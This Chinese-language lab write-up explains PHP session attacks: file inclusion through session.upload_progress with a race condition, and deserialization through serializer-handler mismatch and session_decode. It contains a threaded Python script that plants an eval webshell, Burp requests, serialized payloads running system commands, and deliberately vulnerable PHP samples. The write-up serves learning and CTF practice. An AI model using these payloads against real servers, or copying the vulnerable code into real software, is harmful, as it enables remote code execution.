session

什么是session
官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要有以下特点:

sessin保存的位置是在服务器端
session通常是要配合cookie使用
因为HTTP的无状态性,服务端产生了session来标识当前的用户状态

本质上,session就是一种可以维持服务器端的数据存储技术。即session技术就是一种基于后端有别于数据库的临时存储数据的技术

session.upload_progress

我先从头到尾分析一下利用session.upload_progress进行文件包含

相关配置

在讲该姿势的具体利用方法之前,要先讲几个 php.ini 中的相关配置,这也是利用该方式进行文件包含的前提,此特性自 PHP 5.4.0 后可用。

1
2
3
4
5
6
session.auto_start = off
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path= "/var/lib/php/sessions"
1
2
3
4
5
6
7
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

session.upload_progress.enabledINI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如

1
2
3
4
<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>

存储机制

当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。
在linux系统中,session文件一般保存在以下几个目录:以session.save_path为依据

1
2
3
4
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

分析

问题一

代码里没有session_start(),如何创建session文件呢。

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=zixyd,PHP将会在服务器上创建一个文件:sess_zixyd。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_zixyd。

问题二

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

需要条件竞争

实验一

在kali中开启nginx;并创建index.php文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

session_start();

if($_POST['zixyd']){
include $_POST['zixyd'];
}

phpinfo();
?>

使用了session_start函数,并且存在任意文件包含漏洞,但是服务器上却没有恶意的文件包含可以getwebshell时,这时可以利用session.upload_progress

方法一(bp)

创建一个可以上传文件的html文件

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="http://192.168.6.98/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1<?php cat('cat /flag.txt');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

随便上传一个文件并抓包发送到intruder模块,注意是随便上传一个文件,这里我们只需要利用在文件上传时PHP_SESSION_UPLOAD_PROGRESS和Cookie中PHPSESSID的值,而和上传什么文件无关,这个包是为了条件竞争制作恶意文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /index.php HTTP/1.1
Host: 192.168.6.98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=zixyd
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------32681549875692968181236391716
Content-Length: 4686
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------32681549875692968181236391716
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

§1§<?php system('cat /flag.txt');?>
-----------------------------32681549875692968181236391716
Content-Disposition: form-data; name="file"; filename="1.md"
Content-Type: application/octet-stream

```
https://www.cisp.cn/xe.exam.question_detail/1.0.0?exam_id=ex_658291545c15c_ANrAAwOo&uexam_id=uexam_6597ca52a0682_TvyRy60JZl&qid=qs_6164e344c32cb_ORWtGGSc0A92

https://www.cisp.cn/xe.exam.question_detail/1.0.0?exam_id=ex_658291545c15c_ANrAAwOo&uexam_id=uexam_6597ca52a0682_TvyRy60JZl&qid=qs_6164e344c33f5_FmQaeCt30A88

```

再抓一个包发送到intruder模块,这个包存在任意文件包含漏洞,是为了包含恶意文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.6.98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://192.168.6.98
Connection: close
Referer: http://192.168.6.98/
Cookie: PHPSESSID=rou5qd86se828i5on12sl79fp6
Upgrade-Insecure-Requests: 1

zixyd=%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_zixyd&haha=§1§

成功

方法二(python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- encoding:utf-8 -*-

import io
import threading
import requests

url = "http://192.168.6.98/"
sessid = 'zixyd'

def write(session):

filebytes = io.BytesIO(b'a'*1024*50)
while True:
session.post(url=url,data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>'
},cookies={
'PHPSESSID':sessid
},files={
'file': ('zixyd.jpg',filebytes)
})


def read(session):

while True:
res1 = session.post(url=url, data={
'zixyd': r"/var/lib/php/sessions/sess_"+ sessid,
'2': r"system('cat /flag.txt');"
})
if 'flag' in res1.text:
print(res1.text.encode('gbk','ignore').decode('gbk'))

# else:
# print("retry~~~~")


if __name__ == '__main__':
with requests.session() as session:
for i in range(20):
threading.Thread(target=write,args=(session,)).start()
for i in range(20):
threading.Thread(target=read,args=(session,)).start()

输出如下:可以很明显的看到是由“upload_progress_”和<?php eval($_POST[2]);?>为键值,|后面的就是session中存储的上传进度时的信息;只不过<?php eval($_POST[2]);?>已经被php解析了变成了flag{this is fuck flag},这里也可以看出另一点:session.serialize_handler = php,这与session产生反序列漏洞有关

1
2
upload_progress_flag{this is fuck flag}
|a:5:{s:10:"start_time";i:1704606442;s:14:"content_length";i:51477;s:15:"bytes_processed";i:5250;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"zixyd.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1704606442;s:15:"bytes_processed";i:5250;}}}

session_unser

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

这里为了加深说明除了session_start函数,还可以用session.auto_start配置,我接下来的使用将不使用函数,而是更改配置;(这样改配置本来没有问题,但是这样改配置达不到看处理器不同而存储的序列化数据不同,听不懂? 下面会说明)

我的实验环境是:kali+nginx+fpm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ sudo find / -name php.ini
/var/lib/docker/overlay2/6caa6f28e81c757ee588fab97a4e7c7cad8bd0fe73be2dbee11c82589c664d06/diff/etc/php5/apache2/php.ini
/var/lib/docker/overlay2/6caa6f28e81c757ee588fab97a4e7c7cad8bd0fe73be2dbee11c82589c664d06/diff/etc/php5/cli/php.ini
/etc/php/8.2/apache2/php.ini
/etc/php/8.2/cli/php.ini
/etc/php/8.2/fpm/php.ini

┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/php/8.2/fpm/php.ini
修改: session.auto_start = 1

重启fpm服务使得php.ini生效
┌──(kali㉿kali)-[~]
└─$ systemctl restart php8.2-fpm.service

测试代码

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);

$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

这里可以看到,未使用session_start函数;Cookie却存在PHPSESSID

来看看php处理器将数据序列化的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# pwd
/var/lib/php/sessions

┌──(root㉿kali)-[/var/lib/php/sessions]
└─# ls -al
总计 772
drwx-wx-wt 2 root root 778240 1月 7日 14:25 .
drwxr-xr-x 4 root root 4096 2023年 4月 5日 ..
-rw------- 1 www-data www-data 17 1月 7日 14:25 sess_bb95aoqqkmvq2ltbpcdlu16hvh

┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_bb95aoqqkmvq2ltbpcdlu16hvh
name|s:5:"zixyd";

php_serialize处理器

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);

ini_set('session.serialize_handler','php_serialize');


$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

这里我已经将session.serialize_handler改成了php_serialize

但是数据函数以php处理器方式存储的;经过排查找到原因:ini_set('session.serialize_handler','php_serialize');只对当前文件的session_start函数有效;而对php.ini中的配置无效,

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# ls -al
总计 776
drwx-wx-wt 2 root root 778240 1714:40 .
drwxr-xr-x 4 root root 4096 202345日 ..
-rw------- 1 www-data www-data 17 1714:25 sess_bb95aoqqkmvq2ltbpcdlu16hvh
-rw------- 1 www-data www-data 17 1714:40 sess_mekil2i1boqaof0g4rohu4ef8p

┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_mekil2i1boqaof0g4rohu4ef8p
name|s:5:"zixyd";

所以我又将php.ini中的session.auto改回了0,并在文件中添加session_start();

1
2
3
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_6bf6o57tcu6h8735crmc0845e1
a:1:{s:4:"name";s:5:"zixyd";}
1
2
php:			 name|s:5:"zixyd"; 
php_serialize: a:1:{s:4:"name";s:5:"zixyd";}

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

实验一

创建一个test.php,使用php_serialize处理器;

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['zixyd'] = $_GET['zixyd'];
echo $_SESSION['zixyd'];
?>

创建一个shell.php,默认使用php处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
session_start();
class shell{
public $name;
function __wakeup(){
echo "success";
}
function __destruct(){
eval($this->name);
}
}
$test = new shell();
?>

1
2
3
4
5
6
7
8
9
<?php
class shell{
public $name;
}
$a = new shell();
$a->name = "phpinfo();";
echo serialize($a);
?>
//O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}

|O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}url编码;访问test.php;将恶意数据存储到session文件中

1
http://192.168.6.98/test.php?zixyd=%7CO%3A5%3A%22shell%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A10%3A%22phpinfo()%3B%22%3B%7D
1
2
3
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_6bf6o57tcu6h8735crmc0845e1
a:1:{s:5:"zixyd";s:46:"|O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}";}

可以看到恶意数据已经成功存储到了session文件,直接访问shell.php即可执行phpinfo

php处理器会以|作为分隔符,将O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数

实验二

创建一个test2.php文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class zixyd
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new zixyd();
}
else
{
highlight_file(__FILE__);
}
?>

查看phpinfo

1
http://web.jarvisoj.com:32784/index.php?phpinfo=1

从phpinfo中寻找重要信息如下:

Directive Local Value Master Value
session.auto_start Off Off
session.save_path /var/lib/php/sessions /var/lib/php/sessions
session.serialize_handler php php_serialize
session.upload_progress.enabled on on
session.upload_progress.cleanup Off Off
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_
session.use_strict_mode Off Off

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

1
2
local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点,这里可以利用session.upload_progress,因为这样的话session.upload_progress.name filename的值都可控制;

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class zixyd
{
public $mdzz;
}
$a = new zixyd();
$a->mdzz = 'system("id");';
echo serialize($a);
?>

//O:5:"zixyd":1:{s:4:"mdzz";s:13:"system("id");";}

还是利用那个文件上传的html文件

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="http://192.168.6.98/test2.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

这里有个奇怪的点就是:我将session.upload_progress.cleanup 关了,但依然没有用,文件上传的信息依然没有,最终还是利用条件竞争

|O:5:"zixyd":1:{s:4:"mdzz";s:13:"system("id");";}注意这里有一个|,这里可以把payload放到session.upload_progress.name filename都是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /test2.php HTTP/1.1
Host: 192.168.6.98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8126225181410704334410916334
Content-Length: 361
Origin: null
Connection: close
Cookie: PHPSESSID=ir85hm42ah4mln0ko3svp355ci
Upgrade-Insecure-Requests: 1

-----------------------------8126225181410704334410916334
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

§1§|O:5:"zixyd":1:{s:4:"mdzz";s:13:"system("id");";}
-----------------------------8126225181410704334410916334
Content-Disposition: form-data; name="file"; filename="1.md"
Content-Type: application/octet-stream

1

-----------------------------8126225181410704334410916334--
1
2
3
4
5
6
7
8
9
10
11
12
GET /test2.php HTTP/1.1
Host: 192.168.6.98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ir85hm42ah4mln0ko3svp355ci
Upgrade-Insecure-Requests: 1

haha=§1§

success

最后放一张流程图,虽然和我做的实验不一样,但是意思就是这个意思,参考F4ke12138

session_decode

1
session_decode(string `$data`): bool

session_decode()$data 参数中的已经序列化的会话数据进行解码, 并且使用解码后的数据填充 $_SESSION 超级全局变量

请注意,这里的反序列化方法不同于 unserialize() 函数。 序列化方法是 PHP 内置的,并且可以通过 session.serialize_handler 配置项进行修改。

实验一

创建一个session.php文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
highlight_file(__FILE__);

session_start();

$sessionData = $_POST['data'];

session_decode($sessionData);

var_dump($_SESSION);

class zixyd{
public $a;
public function __destruct(){
eval($this->a);
}
}
?>
1
POST: data=username|s:5:"zixyd";
1
2
3
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_l177lcnaktemebo1dr0uq0c2om
username|s:5:"zixyd";

成功将username|s:5:"zixyd"; 写入到session文件中,

如果写入的是恶意数据呢?

1
POST: data=shell|O:5:"zixyd":1:{s:1:"a";s:10:"phpinfo();";}
1
2
3
┌──(root㉿kali)-[/var/lib/php/sessions]
└─# cat sess_l177lcnaktemebo1dr0uq0c2om
username|s:5:"zixyd";shell|O:5:"zixyd":1:{s:1:"a";s:10:"phpinfo();";}

成功执行phpinfo();

可以看到当session_decode函数的值是可控时,是非常危险的